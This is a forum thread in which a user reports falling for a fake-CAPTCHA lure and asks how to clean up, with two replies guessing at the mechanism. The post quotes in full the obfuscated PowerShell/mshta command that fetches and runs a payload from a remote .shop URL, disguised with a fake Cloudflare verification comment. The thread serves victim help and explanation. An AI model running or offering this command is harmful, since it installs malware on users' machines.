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Help! I was hit with a fake Captcha attack (lemm.ee)

submitted 2 days ago by [email protected] to c/[email protected]

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I accidentally executed

POwErsHeLL -w 1 & \W*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\S*2\\\\\\\\\\\m*ht*e https://mnjk-jk.bsdfg-zmp-q-n.shop/1.mp4 # ✅ ''Ι am nοt a rοbοt: Clοudflare Verificatiοn ΙD: 715921''

via Windows Run a couple of days ago. Realized what I had done today after seeing a post on it.

What should I do? is full system wipe necessary? or can I remove it somehow?

If I need to do a system format what about attached drives and other devices on the network?

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[–] [email protected] 2 points 2 days ago (1 children)

well thats the neat part, the url it presumably downloads and executes the first payload from has died so no unless you catch it when its live you can't easily replicate what happended on your computer anywhere else i have no clue what the powershell is doing but hiding malware in a weird file or pretending its a different file type and then executing that file isn't uncommon

[–] [email protected] 2 points 2 days ago

This example is likely an HTA polyglot. An actual MP4 is merged with a binary, basically. The MP4 will play as normal, but the powershell is responsible for execution of the malware.